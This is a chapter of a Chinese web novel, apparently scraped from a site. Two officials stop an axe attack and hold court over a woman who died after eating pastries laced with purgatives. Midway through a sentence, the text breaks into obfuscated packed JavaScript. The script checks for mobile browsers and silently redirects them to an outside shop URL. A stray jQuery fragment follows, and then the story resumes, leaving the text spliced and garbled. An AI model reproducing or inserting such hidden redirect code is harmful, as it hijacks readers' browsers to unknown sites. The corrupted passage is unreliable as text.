街上更多的人涌了过来。
掌柜的见林婉儿没了,心中亦是难过,“您先不要哭了,今日送来这点心虽是我们东家做得,但大家伙都吃了,不也好好的吗......”
“婉儿身子骨弱,本就受不得累,你们还责令她日夜赶工,眼下人都没了,竟然还要赖账!”老妇一把抓过站在旁边的儿子,“这是你媳妇,你说,是不是得让他们血债血偿!”
这中年汉子仿佛一头蛮牛,听罢老母的话,直接从身后掏出一把铁光粼粼的斧头,怒喝一声,就要冲着人劈下。
掌柜的哀叫一声,下意识抱头躲闪。
众人只见人影一闪,方才默不作声站在月裳阁门边的郎君猛地抬腿一踹,那汉子手中的铁斧歪倒,狠狠砍进土里,刃扎进去好几寸。
秦艽收势回身,沉声道:“有冤诉冤,不可动手,待衙门的人来了,一并到公堂上去说。”
话音才落,拥挤的人群外,两拨人马同时赶到。
叶州府衙的卫兵扒开众人,领头的那个打眼一扫,看见站在一旁的薛灵玥与秦艽,立刻上前行礼:“秦校尉,薛校尉,您二位这是......”说罢看看两人得打扮,瞬时噤声,恨不能抽自己一个嘴巴子。
薛灵玥轻咳一声:“随便出来转转,不打扰你们公干了。”
先前衙门里的捕快死的死,抓的抓,现在府衙内的捕快全由当初罗慎手下的人暂时兼着。这群人打仗是一把好手,处理其他活人的事儿却不怎么在行。
“别呀,这事儿......”那人犹豫地看着瞪眼哭嚎的老妇,凉透的尸身,还有四周窃窃私语的百姓,悄声道:“今日凌大人随崔将军出城巡营,衙门里没个主心骨呀!”
那老妇见卫兵躬身站在秦艽薛灵玥两人面前,一直嘀嘀咕咕不知说什么,尖细的嗓子凄厉大喊:“官商勾结,官商勾结啊!老天爷不长眼,叫我那苦命的儿媳在天之灵都不得安息啊!”
“休得胡说!”卫兵转过身来,怒气冲冲道:“这二位可是长安来的武宁卫大人,那夜若不是他们率军迎敌,你们一家子早就做了刀下鬼了!”
老妇一噎,眼神躲闪几下,紧接着又甩手哭喊:“那大人更要为我们全家做主啊——”
围观的人群忽得从侧散开,几个家丁护着人缓缓走来,掌柜的眼眶一热,“东家,您来了!”
薛灵玥视线顺着看去,衣裙飘袂,气势清绝,原来月裳阁背后的东家竟然是傅赵堂。傅茂亭走至板车前,似乎仍不敢置信死的人是谁,她颤抖着伸出手,覆在那只已经凉透的手上。
围观众人的私语声渐渐停了。
那老妇一骨碌爬起来,冲到傅茂亭身旁,被早有预料的家丁一下拦住,她张牙舞爪的挥着胳膊,“就是你这个黑心肝的,我早看出来,找了这么多女子到你的作坊,一定是不好安心!”
“好了,”薛灵玥上前一步,两颊的软肉因神情严肃而微微紧绷:“都到衙门去说!”
她神色格外认真,明明是幼态圆润的长相,但到底是往日尸山血海中杀出来的,透出一股不容反驳的气势。
那老妇还想多言,被薛灵玥杏眼一瞪,话到嘴边又咽了回去。颤颤巍巍由儿子搀扶着,随众人往衙门走。
衙役们推着板车,脚步稍快。围观的众人连忙让开,有些得闲的,也随着去衙门看热闹。
路上不少目光绕着薛灵玥打转,秦艽下意识挨个扫了一眼,见那些人多半都是好奇敬畏,便放下心来。想是她看着软嚯嚯一女郎,行事却如此泼辣厉害,心生敬佩呢。
这么一想,秦艽嘴角越翘越高,骄傲地挺起胸膛,跟在薛灵玥身后半步,就像她的近卫似的,十分志得意满。若他身后有条尾巴,这会儿估计甩得都转圈了。
“傻笑什么呢?”薛灵玥忽得转过身来,掐了他一下,“你来审罢?”
秦艽这才注意到已回到府衙,堂中停着林婉儿盖着白布的尸身。百姓们堵在门外,垫着脚,削尖脑袋往里看。
两人绕道后堂,秦艽立刻伸出自己那只欠打的手,摸了一把薛灵玥圆滑的脸蛋,“当然是你来,在街上瞧着你不是挺有气势的,”他低头凑到她耳边,“赏脸让我给当家的做个判官参军?”
薛灵玥一把拍掉他的手,递上个白眼,“又讲我笑话!”
“没有,真心的。”秦艽捏捏她的手,神情认真了些,“你换了官袍上堂,我去把林逸之喊来,一块给你打下手。”
薛灵玥心中安定,抬起小脸,“我瞧着这案子与死者的丈夫家婆脱不开干系,你叫林大哥快些验尸,拖得越久,他们叫嚷得越凶。”
秦艽笑,“刚还不好意思,现在就使唤上了?”
“还不快点去!”薛灵玥作势打他一下,自经进屋换衣裳去了。
公堂上,肃穆的卫兵鱼贯跑入,站定两侧,腰间的佩刀寒光泠泠。其中两人上前,手执鼓槌,击鼓通传,随后两侧卫兵同时接连高呼:
“升——堂——”
明镜高悬的匾额下,薛灵玥官袍笔挺威仪,玄色织金料子在光下透出暗芒,沉沉的目光望向众人。她手执惊堂木,拍案道:“本官代叶州官署行事,依《大周律》理事,堂下何人,有何事要诉?”
傅茂亭站在林婉儿的尸身旁一言不发。
那老妇与她儿子齐声高哭:“我等是叶州梭子巷张保家的,求大人为我冤死的儿媳做主啊,她在那黑心的傅赵堂吃过点心,回来便一命呜呼啊!!!”
“我家媳妇原来多安分踏实一个女子,都是被她勾的,整日在外抛头露面,家中的郎君不管,孩儿也不生,半点妇道人家的样子都没有!”老妇恶狠狠地指着傅茂亭,“不仅如此,她还克扣我儿媳做工的银钱!简直是十恶不赦!!!”
薛灵玥看傅茂亭,语气平和:“傅家主对此,可有什么要说的?”
“回大人,”傅茂亭言辞恭敬,微微垂首,“在下对她所言,无可辩驳。”
此话一出,堂外百姓瞬时哗然,纷纷议论起来,嗡嗡如细蝇过耳。
“傅家主怎么一声不吭?”
“她心虚呗,才没得可说!”
“唉,我早说这女人做买卖就是不行,心眼儿忒小......”
“肃静!”薛灵玥猛地一拍惊堂木,杏眼凌厉望着众人,“既是张保
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851891|184007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为妻状告东家傅赵堂,那便请仵作即刻验尸,揪查死因。”
说罢她看向身侧,林逸之上前半步,还未走近尸体,那老妇便猛地爬起来阻拦,“不可!她清清白白一个人,怎可死后受辱!”
“仵作验明尸身是为她鸣冤,这案子现在到了本官手上,验不验,不是你说了算的。”薛灵玥扭头,坚定地朝林逸之道:“验尸!”
林逸之立刻率人将尸体抬到一旁的侧堂。等待验尸的功夫,寻找月裳阁伙计的卫兵们回来了。
他们将店中各位伙计全部带回,除了两个这会儿仍面色惨白的,其余人上吐下泻一番后都没什么大碍。
薛灵玥扔不敢掉以轻心,命府衙的医官在堂中摆案,挨个为伙计号脉。
同时派人将店中取回的点心摆在堂中,当着众人的面就地查验。
医官先是一一记下几个伙计的脉象,而后仔细核对,才道,“回大人,这几位均是卒食不洁之物,阳气下陷,吐利并做,(1),待邪气发散,身脉俱静,自然调养而愈。”
薛灵玥道:“好,那有劳你再看看这残余的点心。”
朱红的漆匣内,盛放着剩余七八块古楼子,这是一种西域常见的点心,内芯包裹烤炙的羊肉,外表金黄,上点缀着厚厚一层蜜饯果干。
医官近前细看,取一小块置于帕子上,反复研磨,犹豫不决道:“似乎有些不同寻常,但属下不敢断定,恐还要等林校尉一同验看,再定夺为好。”
“让您说,您直说便是,”薛灵玥手指轻敲着桌案,“一会儿本官自会请林校尉再验看一遍。”
那医官松了口气,“是,依属下看,这点心的蜜饯中,恐怕掺了大黄、商陆一类的药物,此物可使人腹部剧痛,成水样便,且呕吐不止。”
话音才落,门外的百姓又是一阵议论:“哎呦,这不就是下药吗!”
“真是害人不浅,黑了心的东西!”
“但我瞧着也不一定罢,害自家伙计能有什么好处?”
“肃静!”薛灵玥猛地一拍惊堂木,神情肃穆的看向傅茂亭,“傅家主,这点心是何人所做?”
傅茂亭冷静淡然的模样有所松动,她指尖攥得死紧,连带着袖口轻轻发颤,“回大人,是在下做得。但我确实不知为何那点心中掺了药......”
薛灵玥眉头蹙起,下意识看向秦艽。
他立刻会意,悄悄绕出大堂。不过几息,便领着林逸之等人回来了。
还未来得及换下罩衣的林逸之面向众人,宣告林婉儿的验尸结果:“经验,死者周身无外伤,胃脘紫胀,脉络怒张(2),谷道红肿溃烂,喉腹中尚有残渣留存,确系饮食不洁,暴泄而亡。”
“可林娘子明明只吃了一小块点心,与我用得差不多呀!”月裳阁掌柜的在一旁面色惨白,哆嗦着,朝医官道:“能否麻烦您给我开两副药......”
林逸之别有深意的目光看向薛灵玥。
与其他伙计们吃了同样得东西,量也不大,却只有她一人死了。
薛灵玥立刻道:“本案尚有亟待理清之处,暂将傅家主收押在府衙之中,容后开堂!”